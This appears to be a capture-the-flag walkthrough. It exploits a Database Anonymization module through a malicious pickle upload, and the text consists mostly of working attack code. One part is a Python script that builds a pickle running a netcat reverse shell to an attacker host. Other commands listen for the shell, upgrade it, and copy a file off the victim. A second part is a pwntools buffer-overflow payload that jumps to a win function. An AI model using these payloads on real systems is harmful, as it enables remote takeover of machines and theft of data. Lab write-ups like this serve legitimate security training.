In order to exploit the vulnerability, you should navigate to the Apps page (the link is in the navigation bar at the top and search for and install Database Anonymization in the search bar. We have to deselect the Apps filter in the search bar for it to show up.
Install Database Anonymization
Once we have the module installed, we navigate to the settings page and select Anonymize database under Database anonymization and click on the Anonymize Database button.
exploit.py
import cPickle
import os
import base64
import pickletools
class Exploit(object):
def __reduce__(self):
return (os.system, (("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc $KALI 1337 >/tmp/f"),))
with open("exploit.pickle", "wb") as f:
cPickle.dump(Exploit(), f, cPickle.HIGHEST_PROTOCOL)
Kali
python2.7 exploit.py
nc -lvnp 1337
Next, we refresh the page and navigate to the same page under settings. We upload the exploit.pickle file generated our script and click on Reverse the Database Anonymization button. We should have a reverse shell.
Victim
script -qc /bin/bash /dev/null
ctrl + Z
stty raw -echo;fg
Netcat
Kali(receiving)
nc -l -p 1234 > ret
Victim(sending)
nc -w 3 $KALI 1234 < ret
Lateral Movement #1
Kali
ghidra
Kali
cyclic 256
Kali
gdb ret
Kali(gdb)
r
This tells us it crashes after 136 characters
Kali
cyclic -l 0x6261616a
We see the win function is located at 0x400646
Kali
objdump -t ret
Confirmed it crashes after 136.
Kali
python -c 'print("A"* 137)' | ./ret
I wanted to confirm it would crash where we expected so I added the program into a for loop
payload.py - version 2
from pwn import *
import subprocess
for i in range(130, 140):
payload = b'A'*i + p64(0x400646)
print ("Current value: " + str(i))
f = open('/root/payload.bin', 'wb')
f.write(payload)
f.close
os.system("(cat payload.bin; cat) | ./ret")
We can see 137 did work on our local box and got us to the win function when adding it's address to the script
Kali
python payload.py
Now to create our payload and send it to the victim
payload.py - version 2
from pwn import *
payload = b'A'*136 + p64(0x400646)
f = open('/root/payload.bin', 'wb')
f.write(payload)
f.close
Testing that the payload still works on our local machine.
